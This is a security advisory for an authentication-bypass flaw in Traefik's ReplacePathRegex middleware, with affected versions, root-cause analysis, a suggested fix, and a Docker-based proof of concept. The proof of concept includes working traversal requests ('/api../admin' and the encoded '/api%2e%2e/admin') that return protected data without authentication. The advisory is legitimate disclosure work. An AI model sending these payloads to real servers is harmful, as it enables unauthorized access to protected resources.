GHSA-cxjq-mrr5-89rv Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

• Go github.com/traefik/traefik/v2: < 2.11.52 → fixed in 2.11.52 • Go github.com/traefik/traefik/v3: < 3.6.23 → fixed in 3.6.23 • Go github.com/traefik/traefik/v3: >= 3.7.0, < 3.7.7 → fixed in 3.7.7 • Go github.com/traefik/traefik: <= 1.7.34 (no fix yet)

Summary There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form. Patches • https://github.com/traefik/traefik/releases/tag/v2.11.52 • https://github.com/traefik/traefik/releases/tag/v3.6.23 • https://github.com/traefik/traefik/releases/tag/v3.7.7 For more information If you have any questions or comments about this advisory, please open an issue. Original Description Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. Root cause: `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. Attack flow: 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication Suggested fix: Add the same JoinPath equality check after line 67: ```go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl 1. Create `docker-compose.yml`: ```yaml services: traefik: image: traefik:v3.7.6 command: • "--api.insecure=true" • "--providers.file.filename=/etc/traefik/dynamic.yml" • "--entrypoints.web.address=:80" ports: • "8080:8080" • "80:80" volumes: • ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine working_dir: /app volumes: • ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5 ``` 2. Create `dynamic.yml`: ```yaml http: routers: public-api: rule: "PathPrefix(`/api`)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(`/admin`)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.*)" replacement: "/$1" auth: basicAuth: users: • "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: • url: "http://backend:3000" ``` 3. Create `server.js`: ```javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`); } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); } }); server.listen(3000); ``` 4. Run and exploit: ```bash docker compose up -d && sleep 5 Confirm auth is enforced: curl -s -o /dev/null -w "%{http_code}" http://localhost/admin → 401 Auth bypass: curl -s http://localhost/api../admin → ADMIN_SECRET_DATA (normalized=/admin) URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMIN_SECRET_DATA (normalized=/admin) ``` Configuration note: The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not. Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern. ---